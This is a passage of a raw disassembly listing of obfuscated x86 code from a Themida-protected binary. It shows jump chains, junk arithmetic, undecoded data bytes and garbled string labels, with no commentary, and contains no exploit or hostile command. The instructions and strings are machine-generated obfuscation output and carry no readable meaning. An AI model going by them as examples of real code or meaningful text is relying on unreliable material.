		db 0FFh
; ---------------------------------------------------------------------------

loc_54BFC9:				; CODE XREF: Themida_:005532BFj
		add	esp, 4
		jmp	loc_549E0E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 12h
		dd 8382B8E4h, 3C8904ECh, 15F8BF24h, 0F9E949CCh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BFE7:				; CODE XREF: Themida_:0054515Dj
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	7D15h
		mov	[esp], edx
		push	1ACAh
		mov	[esp], ebp
		jmp	loc_556E75
; ---------------------------------------------------------------------------

loc_54C004:				; CODE XREF: Themida_:0054A9C8j
		shr	ecx, 1
		xor	ecx, 0A61435Dh
		add	ecx, 0FC5E2D7Dh
		sub	edi, ecx
		pop	ecx
		sub	edi, ecx
		jmp	loc_54CFC3
; ---------------------------------------------------------------------------
		dd 0E9240487h, 7C9Bh, 4EA835Eh,	0E9241487h, 4153h
; ---------------------------------------------------------------------------

loc_54C030:				; CODE XREF: Themida_:005443CEj
		push	ebp
		push	esp
		jmp	loc_5456EC
; ---------------------------------------------------------------------------
		db 30h
		dd 3AE95AF0h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C03F:				; CODE XREF: Themida_:00544520j
		add	ebx, esi
		jmp	loc_5530F6
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 525358E5h, 0D3880FB2h, 5BD8005Ah, 0F2CE828h,	81240C8Bh
		dd 4C4h, 5B545300h, 4C381h, 0EB810000h,	4, 22B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C075:				; CODE XREF: Themida_:005489D7j
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_54FB20
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 0B60FC330h, 87048DC0h, 53E28952h,	4BBh, 5BDA0100h
		dd 0F4685057h, 89000041h, 0C668240Ch, 595CA133h, 0E906E9C1h
		dd 0FFFFA953h
; ---------------------------------------------------------------------------

loc_54C0B0:				; CODE XREF: Themida_:0054B960j
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		pop	esi
		push	edi
		push	1
		mov	edi, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ecx
		push	esp
		jmp	loc_550BCB
; ---------------------------------------------------------------------------

loc_54C0D6:				; CODE XREF: Themida_:00547C43j
		xor	eax, 5CD87AF0h
		add	ebx, eax
		jmp	loc_556E8B
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4E88300h, 31240433h, 4332404h,	0F41DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C0FA:				; CODE XREF: Themida_:00548739j
		pop	eax
		pop	edx
		push	ecx
		mov	ecx, 2F911093h
		inc	ecx
		neg	ecx
		not	ecx
		inc	ecx
		sub	ecx, 2F911090h
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_54339F
; ---------------------------------------------------------------------------
		db 5Ch,	8Fh, 4
		dd 24248B24h, 68243489h, 5E305564h, 2E6C15Eh, 2BF4BF57h
		dd 0FE3119CFh, 0FF8008E9h, 65ED81FFh, 0F76A8A01h, 1DE956D5h
		dd 100001Bh, 0BA525EF1h, 508D3745h, 190BEA81h, 0AAE93FE4h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C15B:				; CODE XREF: Themida_:0054BD39j
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_54B828
; ---------------------------------------------------------------------------
		dw 5966h
		dd 5291B252h, 0FF81A7E9h, 0E6BE56FFh, 810B8C2Eh, 2D1833EEh
		dd 0F6CDE911h, 0E681FFFFh, 44212433h, 67B9EE81h, 0C6811F79h
		dd 54565835h, 0FFFFAAE9h, 3AE95BFFh, 0BB000048h, 7F931106h
		dd 1E9DE21h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C1AF:				; CODE XREF: Themida_:00551169j
		add	edx, ecx
		pop	ecx
		jmp	loc_5488DD
; ---------------------------------------------------------------------------

loc_54C1B7:				; CODE XREF: Themida_:00549920j
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_555D2B
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0FFFFCDA6h, 0F781D7F7h, 5FD11CBDh, 36CCE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C1DA:				; CODE XREF: Themida_:0054D8BDj
		mov	esi, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_54D250
; ---------------------------------------------------------------------------

loc_54C1F4:				; CODE XREF: Themida_:00551248j
		add	ecx, 4
		jmp	loc_554DB6
; ---------------------------------------------------------------------------

loc_54C1FF:				; CODE XREF: Themida_:0054C45Fj
		add	ebx, 309B2F96h
		jmp	loc_5503FA
; ---------------------------------------------------------------------------
		dw 4481h
		dd 5A6F0424h, 2C8B4D13h, 4C48324h, 5EC5815Dh, 0E92A452Bh
		dd 0FFFF728Ah, 60E94DB5h, 81FFFFB8h, 0C06915E5h, 0C1D5F716h
		dd 0FEE908EDh, 68000020h, 345C05C0h, 0FACA815Ah, 0E918D325h
		dd 8430h
; ---------------------------------------------------------------------------

loc_54C24C:				; CODE XREF: Themida_:0054E1C3j
		push	ecx
		jmp	loc_5538F6
; ---------------------------------------------------------------------------

loc_54C252:				; CODE XREF: Themida_:0054EA6Dj
		sub	esi, 36672146h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_543E6E
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFC28CE9h, 429B68FFh, 4890000h, 4857E924h, 24890000h
		dd 24048124h, 4, 0BCB685Bh, 10E90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C28B:				; CODE XREF: Themida_:00544F6Aj
		pop	eax
		xor	eax, esi
		pop	esi
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		jmp	loc_549075
; ---------------------------------------------------------------------------
word_54C29A	dw 8B66h		; DATA XREF: Themida_:00543144o
		dd 0E9502404h, 4FBEh
; ---------------------------------------------------------------------------

loc_54C2A4:				; CODE XREF: Themida_:00552F5Ej
		shl	edi, 7
		push	esi
		jmp	loc_555694
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
aZ4Sj		db '┤4$\Иj',7,0
		db 0
; ---------------------------------------------------------------------------

loc_54C2B9:				; CODE XREF: Themida_:00556628j
		pop	ebp
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		jmp	loc_553DBC
; ---------------------------------------------------------------------------
		db 53h
		dd 0D7F6CF88h, 535BF988h, 0E0895050h, 405h, 4BE5600h, 29000000h
		dd 0C5E95EF0h, 88FFFFBEh, 20CAE9EAh, 82C0000h, 0F000112Ch
		dd 0E96AB252h, 765Eh
; ---------------------------------------------------------------------------

loc_54C30C:				; CODE XREF: Themida_:00556E8Ej
		pop	ebx
		add	edi, 0EDD69CC0h
		mov	ebp, edi
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 674B706Bh
		and	eax, 4EBD006Eh
		shl	eax, 7
		inc	eax
		inc	eax
		dec	eax
		sub	eax, 48034FDh
		jmp	loc_5444D1
; ---------------------------------------------------------------------------

loc_54C33F:				; CODE XREF: Themida_:00547AC8j
		pop	ecx
		jmp	loc_552C67
; ---------------------------------------------------------------------------
		db 5Bh,	5Eh, 33h
		dd 0C31240Ch, 0C0CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C352:				; CODE XREF: Themida_:005459C2j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5517C6
; ---------------------------------------------------------------------------

loc_54C36A:				; CODE XREF: Themida_:00554DECj
		add	edi, 4
		jmp	loc_54768E
; ---------------------------------------------------------------------------
aBRcijqhv0mYphR	db '│еRCКjQhv0M:YPhжж~ЮXИ+╔',0
		align 2
		dw 3C33h
		dd 1A12E924h, 0E95C0000h, 0FFFF6EFFh
; ---------------------------------------------------------------------------

loc_54C39C:				; CODE XREF: Themida_:00545A5Cj
		pop	esp
		mov	[esp], edx
		mov	edx, 4695281Fh
		sub	esi, edx
		pop	edx
		jmp	loc_5489CC
; ---------------------------------------------------------------------------

loc_54C3AD:				; CODE XREF: Themida_:0054C9D4j
		mov	edi, [esp]
		jmp	loc_550AA0
; ---------------------------------------------------------------------------

loc_54C3B5:				; CODE XREF: Themida_:005433FEj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54B6F5
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8856624h, 6ED1E99Ch, 0C181FFFFh, 1A863A05h, 0E981C101h
		dd 1A863A05h, 57B1E9h, 7C015A00h, 0E95F0424h, 0ADC2h
; ---------------------------------------------------------------------------

loc_54C3E8:				; CODE XREF: Themida_:00543C9Cj
		mov	[esp], edx
		push	4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 3F777D7Ah
		not	ebp
		jmp	loc_5558C3
; ---------------------------------------------------------------------------
a0US		db '0ч[юН',7,'И``',0
		dd 5C80100h, 12F83A9Dh,	14E86859h, 1C890000h, 6BBE5624h
		dd 464F4037h, 1020E9h, 240C8900h, 5A80E9h, 0DAE95100h
		dd 8100001Fh, 0FFFFFFC7h, 4EFC1FFh, 0FFCA84E9h,	59CA31FFh
		dd 5B47F281h, 34E9647Fh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C457:				; CODE XREF: Themida_:005544E4j
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54C1FF
; ---------------------------------------------------------------------------

loc_54C464:				; CODE XREF: Themida_:005456CBj
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54E47C
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 16D9h
; ---------------------------------------------------------------------------

loc_54C480:				; CODE XREF: Themida_:0054C707j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_544FBB
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 81h
		dd 0A6C88EEh, 1D8FE923h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C49A:				; CODE XREF: Themida_:0054B4ABj
		sub	edx, esi
		pop	esi
		neg	edx
		sub	edx, 61525B1h
		jmp	loc_5553F9
; ---------------------------------------------------------------------------
		dw 26BAh
		dd 0E9038823h, 4AD6h
; ---------------------------------------------------------------------------

loc_54C4B4:				; CODE XREF: Themida_:0054542Cj
		pop	ecx
		jmp	loc_5524F4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	0EC812434h, 4, 52243C89h, 2901E9h
		dd 24048100h, 0E7D0D03h, 8324148Bh, 515604C4h, 9D3BD8B9h
		dd 59CE8926h, 82A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C4F1:				; CODE XREF: Themida_:0054B175j
		mov	esi, 426372A8h
		shl	esi, 1
		not	esi
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xchg	ebx, ecx
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_543F7A
; ---------------------------------------------------------------------------
		db 89h
		dd 0DCB5240Ch, 0B30CB252h, 0CDEB80A2h, 0C380D300h, 0EB285ACDh
		dd 81240C8Bh, 4C4h, 0EAC38000h,	0FF87A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C541:				; CODE XREF: Themida_:00548377j
		mov	ecx, 7146387Ah
		or	ecx, 524E4676h
		push	45C2h
		mov	[esp], ebx
		mov	ebx, 143C6181h
		or	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 74EB76C8h
		sub	edx, 0FFFFFFFFh
		xor	edx, 3950936h
		xor	ecx, edx
		pop	edx
		add	ecx, eax
		jmp	loc_54D7E1
; ---------------------------------------------------------------------------
		dd 6DF7B850h, 0FBF24DFh, 81E06897h, 7E4CB8EFh, 81C70111h
		dd 7E4CB8C7h, 0F7815811h, 5480502h, 2D0FEA81h, 0FA0132CAh
		dd 2D0FC281h, 685F32CAh, 6748h,	0FF241489h, 5A042474h
		dd 1D87E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C5B9:				; CODE XREF: Themida_:00549CFFj
		not	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, 2F5BF687h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 17DB14E0h
		or	esi, 1A5848F7h
		shr	esi, 6
		shr	esi, 7
		push	eax
		mov	eax, 0D4E5CDDEh
		sub	esi, 11A140Bh
		sub	esi, eax
		add	esi, 11A140Bh
		jmp	loc_5568C0
; ---------------------------------------------------------------------------

loc_54C5F3:				; CODE XREF: Themida_:00545B0Dj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_545ACD
; ---------------------------------------------------------------------------
		db 0BBh, 8Ch, 62h
		dd 0DE0978E0h, 50241C8Bh, 405E089h, 83000000h, 6FE904C0h
		dd 5700006Bh, 1069BBFh,	20BE562Ah, 81541B0Ah, 0D471B7F6h
		dd 5EF7090Fh, 7791E9h, 59C83100h, 8358C101h, 0BA5201C1h
		dd 698F6C88h, 5E7FEA81h, 0A1E90FF8h, 5AFFFF80h,	83C5CF80h
		dd 896602ECh, 0FEB42404h, 1352E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C661:				; CODE XREF: Themida_:005490C3j
		xor	esi, 0E8873AA0h
		sub	ebx, 5CF11DC2h
		sub	ebx, 64775C0Ah
		sub	ebx, esi
		add	ebx, 64775C0Ah
		add	ebx, 5CF11DC2h
		pop	esi
		jmp	loc_552195
; ---------------------------------------------------------------------------
		db 83h
		dd 41E904C4h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C68F:				; CODE XREF: Themida_:00556E9Ej
		not	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		dec	edx
		xor	edx, 0FB86D7CFh
		jmp	loc_556A2C
; ---------------------------------------------------------------------------
		db 57h
		dd 2E11E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C6AA:				; CODE XREF: Themida_:0054522Ej
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_554E37
; ---------------------------------------------------------------------------

loc_54C6C4:				; CODE XREF: Themida_:00545962j
		inc	esi
		xor	esi, 6806230Ch
		add	edi, 74EF4D48h
		jmp	loc_547EF8
; ---------------------------------------------------------------------------

loc_54C6D6:				; CODE XREF: Themida_:0054A2EFj
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	55E6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_555A50
; ---------------------------------------------------------------------------

loc_54C6EF:				; CODE XREF: Themida_:0054DE86j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		jmp	loc_54C480
; ---------------------------------------------------------------------------

loc_54C70C:				; CODE XREF: Themida_:005502E8j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54B1CF
; ---------------------------------------------------------------------------
		db 1, 0E8h, 2Dh
		dd 34800FCFh, 0AAE9535Dh, 51FFFFE2h, 0FFB6FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C729:				; CODE XREF: Themida_:0054A548j
		pop	edi
		push	5A62h
		jmp	loc_554B84
; ---------------------------------------------------------------------------

loc_54C734:				; CODE XREF: Themida_:0054E16Aj
		sub	eax, ebx
		sub	eax, 10D528BFh
		pop	ebx
		jmp	loc_54B86E
; ---------------------------------------------------------------------------
		db 0BEh, 0C1h, 2
		dd 0F00110E9h, 6F85055Eh, 148B43ECh, 0FD64E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C756:				; CODE XREF: Themida_:005550D8j
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_545403
; ---------------------------------------------------------------------------

loc_54C764:				; CODE XREF: Themida_:00555803j
		push	cx
		mov	cl, 2Bh
		jmp	loc_54A2CF
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 8Bh
a4S4c		db '4$И4C',0
		dw 5300h
		dd 0D677EFBBh, 0CEB814Eh, 0E9551333h, 0ABF2h, 109868h
		dd 9CFFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	72E6h
		mov	[esp], ecx
		push	esi
		mov	esi, 2E3C1467h
		shl	esi, 5
		not	esi
		shr	esi, 2
		neg	esi
		jmp	loc_543969
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 0FFC3B8E9h, 2EE80FFh, 0E9B7B050h, 0FFFF9908h, 0E95AF420h
		dd 0FFFF77DEh, 0C580EDD0h, 8EDC0FBh, 0C2E9DDF6h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C7DB:				; CODE XREF: Themida_:00543AD4j
		neg	cl
		sub	cl, 10h
		add	dl, cl
		pop	ecx
		or	dl, 0EDh
		sub	dl, 8Ch
		mov	al, dl
		pop	edx
		jmp	loc_547399
; ---------------------------------------------------------------------------
		db 0B7h, 0F3h, 20h
		dd 805B66FAh, 0C28045C2h, 5AD00057h, 482C0504h,	4E94E9h
		db 0
byte_54C809	db 66h,	8Bh, 4		; DATA XREF: Themida_:005431E0o
		dd 4EC8324h, 0E9243489h, 447Fh,	1462CCBEh, 4FE5E956h, 0C1810000h
		dd 0FFFFFFFFh, 26B6E981h, 0F1816E95h, 60593A19h, 0FFBDC4E9h
		dd 30E530FFh, 97B652ECh, 0E99EC680h, 0FFFFC9FEh, 7E6CC1BEh
		dd 0C1D6F712h, 0F68102E6h, 2F2559D7h, 4A68F681h, 0C6815681h
		dd 305DA0BDh, 4247401h,	7CFDE95Eh, 4ABFFFFFh, 814E1165h
		dd 0EC1378F7h, 8BFE892Ah, 0ABE9243Ch, 8800009Fh, 148B59CFh
		dd 4C48324h, 0C5E9D7F6h, 58FFFFA7h, 0E924048Fh,	21ACh
; ---------------------------------------------------------------------------

loc_54C89C:				; CODE XREF: Themida_:00547AE6j
		add	esp, 4
		jmp	loc_553AE3
; ---------------------------------------------------------------------------
aMfq_		db '╛fQ╣_',0            ; DATA XREF: Themida_:00543038o
aSsns		db 'ХИ╜s',0
		align 10h

loc_54C8B0:				; CODE XREF: Themida_:00550502j
		mov	edx, esi
		pop	esi
		or	esi, edx
		jmp	loc_55349C
; ---------------------------------------------------------------------------
a_sL		db '_И©╚',0
		align 10h
		dd 0F028A604h, 5A66A62Ch, 0F4E9D828h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C8CF:				; CODE XREF: Themida_:00549B55j
		mov	ecx, 3F6534C5h
		add	ecx, 0B7AD333h
		jmp	loc_54EB3F
; ---------------------------------------------------------------------------
		db 89h
		dd 30B850E3h, 533D4919h, 0E51854BBh, 68C38141h,	4B1BB648h
		dd 60FFCB81h, 0EB811B3Eh, 1C425E6Eh, 292BE9h, 562BB900h
		dd 0CA093428h, 1EA8359h, 0F6E95056h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C917:				; CODE XREF: Themida_:005569A5j
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		inc	ecx
		shr	ecx, 6
		jmp	loc_549FD8
; ---------------------------------------------------------------------------
		dd 6EE3B951h, 0C8015F0Bh, 2DE80159h, 5F0B6EE3h,	6E36BB53h
		dd 0D8010DFFh, 2434FF5Bh, 0E9242C8Bh, 649Bh, 1E4ABA52h
		dd 4DE97CA1h, 58FFFF8Ah, 206F181h, 0CE010891h, 4EC8159h
		dd 89000000h, 4BD242Ch,	29000000h, 34335DEEh, 0AF47E924h
		dd 15C0000h, 2434FFFAh,	4C4835Fh, 815AD301h, 0E30C72C3h
		dd 81C30166h, 0E30C72EBh, 7DEB8166h, 0E94CFF5Bh, 0FFFFC1EBh
; ---------------------------------------------------------------------------

loc_54C9A0:				; CODE XREF: Themida_:00544262j
		xor	eax, esi
		pop	esi
		mov	ebx, eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, ebx
		jmp	loc_5541C7
; ---------------------------------------------------------------------------

loc_54C9B7:				; CODE XREF: Themida_:00557301j
		push	103F383Fh
		pop	esi
		neg	esi
		neg	esi
		sub	esi, 103F383Bh
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, edi
		jmp	loc_54C3AD
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0D1h
		dd 805AF300h, 4EE985EBh, 8B00006Ah, 0C4832414h,	6EAC104h
		dd 20B8CA81h, 28E92F38h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C9FB:				; CODE XREF: Themida_:00555CD0j
		push	ebp
		jmp	loc_5514FF
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 0C8h
		dd 0FFCE80E9h, 7D282DFFh, 0C6299C28h, 0E9F78958h, 183Dh
		dd 3E9B850h, 27E90B43h,	89FFFF83h, 240C8BCBh, 0E904C483h
		dd 0AE08h
; ---------------------------------------------------------------------------

loc_54CA30:				; CODE XREF: Themida_:0054D796j
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54D3A0
; ---------------------------------------------------------------------------
		dw 48Bh
aSa_		db '$ИМ_',0
		align 2
		dw 0E7C1h
		dd 6E7C102h, 86B8504Fh,	0E90E8E27h, 1514h
dword_54CA60	dd 7A4405ADh, 64681E26h, 0E900001Bh, 0FFFFB7AFh, 59CB28h
					; DATA XREF: Themida_:005431BCo
		dd 31C380C3h, 0E958C380h, 0FFFF6948h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0E9241489h, 0FFFF72B5h, 0BA525859h, 4
		dd 148BD001h, 4C48324h,	42Dh, 74FF5000h, 8F580424h, 895C2404h
		dd 7FBA2414h, 0C11BD243h, 0D2F706E2h, 0C01EE957h, 18BAFFFFh
		dd 0E9201B15h, 0FFFFE583h
; ---------------------------------------------------------------------------

loc_54CAD4:				; CODE XREF: Themida_:0055076Aj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54780F
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0FFBEC8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CAF1:				; CODE XREF: Themida_:0054677Dj
		add	ebx, 7B8E7C57h
		add	ebx, ecx
		sub	ebx, 7B8E7C57h
		sub	ebx, 1ED12D25h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	12C1h
		jmp	loc_547EAA
; ---------------------------------------------------------------------------

loc_54CB1F:				; CODE XREF: Themida_:00549C83j
		pop	ecx
		pop	edi
		not	edi
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		not	ecx
		push	ebp
		mov	ebp, 0EC00F6FCh
		push	ebp
		jmp	loc_54A16E
; ---------------------------------------------------------------------------
aQsP_0		db 'QИ}▐',0
		db 0
; ---------------------------------------------------------------------------

loc_54CB3D:				; CODE XREF: Themida_:00554C7Cj
		or	edx, 7AF7559Dh
		neg	edx
		or	edx, 692C79B9h
		jmp	loc_551A0F
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 68A8E95Ch, 0ED81FFFFh
		dd 3F3E374Ch, 0B839C581h, 0E9681EA9h, 89000033h, 8FE92414h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CB7B:				; CODE XREF: Themida_:0054BE96j
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_551AB4
; ---------------------------------------------------------------------------
word_54CB8A	dw 0F766h		; DATA XREF: Themida_:00543178o
		dd 0E99C241Ch, 0FFFF6707h, 6988C381h, 0C2313DF4h, 0FF66FAE9h
		dd 240489FFh, 0C388D088h, 0DCE95A58h, 59FFFF7Fh, 9C368h
		dd 6FD3E900h, 0BA520000h, 4, 5926C681h,	0D4E94761h, 83000047h
		dd 348904ECh, 118ABE24h, 0E94E04B7h, 42E6h
; ---------------------------------------------------------------------------

loc_54CBDC:				; CODE XREF: Themida_:00550A74j
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 78685052h, 587C0A7Fh, 105h, 808B0500h, 0EEE983F5h
		db 0BFh, 2 dup(0FFh)
byte_54CBFB	db 0FFh			; DATA XREF: Themida_:00543148o
a4Xh7		db '4$Xh|7',0
		align 4
		dd 89240C89h, 25B850E1h, 52209C62h, 1FBDBD55h, 504D4BE0h
		dd 701DCDB8h, 0A0563515h, 0C5293E33h, 5DEA8958h, 15AD029h
		dd 895258C1h, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 72EDE924h, 5366FFFFh, 4D044BB3h, 4EC81h, 1C890000h
		dd 2883B324h, 0EC835BD8h, 24148904h, 7D50E9h, 0E9D80100h
		dd 5F08h
; ---------------------------------------------------------------------------

loc_54CC6C:				; CODE XREF: Themida_:0054E2F3j
		mov	[esp], esi
		push	5967h
		mov	[esp], edx
		push	edi
		mov	edi, 7911043Eh
		mov	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5462CB
; ---------------------------------------------------------------------------
		db 0BBh
		dd 43C06DEAh, 0E95BDD29h, 8403h
dword_54CC98	dd 24048B66h, 4EC8356h,	24048F54h, 4240481h, 8B000000h
					; DATA XREF: Themida_:00543070o
		dd 0C4832434h, 4DBE6804h, 1C890000h, 0CE1BB24h,	0D3310321h
		dd 0D331DA31h, 0D387D2F7h, 9F3E9h, 1BE95F00h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CCD3:				; CODE XREF: Themida_:005547EAj
		mov	ecx, 41856097h
		mov	edx, 0BE7A9F6Ah
		add	edx, ecx
		pop	ecx
		add	esi, edx
		jmp	loc_546E48
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0F6C4F6CCh, 8158C129h, 0DC5F09F1h, 8BC8014Bh, 8952240Ch
		dd 4C281E2h, 83000000h,	7AE904C2h, 8000004Ch, 0DC005DEBh
		dd 81241C8Bh, 4C4h, 84C7E900h
		db 2 dup(0)
word_54CD1E	dw 0E9ACh		; DATA XREF: Themida_:005430D0o
		dd 0FFFFB6CEh, 4EE81h, 34870000h, 3C895C24h, 5750E924h
		dd 0C4810000h, 4, 2694EE81h, 0E9553924h, 0FFFF7A4Ch, 348B5856h
		dd 0A337E924h, 525B0000h, 0C281E289h, 4, 4EC81h, 23E90000h
		db 88h,	2 dup(0)
aNsd7		db '╜Иd7',0             ; DATA XREF: Themida_:00543244o
		db 0
byte_54CD6D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054312Co
		dd 8B545524h, 97E9242Ch, 81FFFF96h, 79088AEEh, 0DF24E966h
		dd 0F201FFFFh, 497D685Eh, 34890000h, 4BE24h, 0E9500000h
		dd 0FFFF97E7h, 0D1B638B5h, 11D6E9h, 5E08900h, 4, 8704E883h
		dd 895C2404h, 4BB241Ch,	0E9000000h, 22F6h, 0F6BDF181h
		dd 0CD213138h, 0B3AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CDCE:				; CODE XREF: Themida_:005435E8j
		mov	[esp], ecx
		push	esi
		push	ecx
		mov	ecx, 61CA3B36h
		mov	esi, 7713892Dh
		sub	esi, ecx
		pop	ecx
		mov	ecx, esi
		pop	esi
		xor	ecx, 4EED4829h
		jmp	loc_5440CB
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 732CE904h, 68580000h, 0E05h,	81243489h, 4ECh, 24248900h
		dd 4240481h, 5E000000h,	0FFB142E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CE15:				; CODE XREF: Themida_:005550EBj
		mov	ebx, 55EE5312h
		jmp	loc_554F43
; ---------------------------------------------------------------------------
		db 53h
		dd 0CA243481h, 5D6D7211h, 11CAF581h, 815B6D72h,	0DB1A08C5h
		dd 9988E913h, 5CE9FFFFh, 81FFFF64h, 254EADC1h, 8BC829CCh
		dd 0C481240Ch, 4, 0E904EC83h, 4592h
; ---------------------------------------------------------------------------

loc_54CE58:				; CODE XREF: Themida_:005524B2j
		pop	ebx
		jmp	loc_54EC52
; ---------------------------------------------------------------------------
		dw 0F758h
		dd 4AF781D7h, 9B1B988h,	0BE565FFBh, 6628552Bh, 65BACE81h
		dd 0D6E90E96h, 81000072h, 281B4BE7h, 0EFEF8130h, 5631A347h
		dd 6F71E3BEh, 5EF72110h, 4CE9DFF7h, 8900005Bh, 48B5FFEh
		dd 14E7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CEA2:				; CODE XREF: Themida_:0054671Dj
		mov	ebx, 0ADC2EFB8h
		add	ecx, ebx
		pop	ebx
		push	eax
		push	edi
		push	38CE2CB1h
		pop	edi
		inc	edi
		add	edi, 474B0505h
		jmp	loc_5580EB
; ---------------------------------------------------------------------------

loc_54CEBE:				; CODE XREF: Themida_:00557A35j
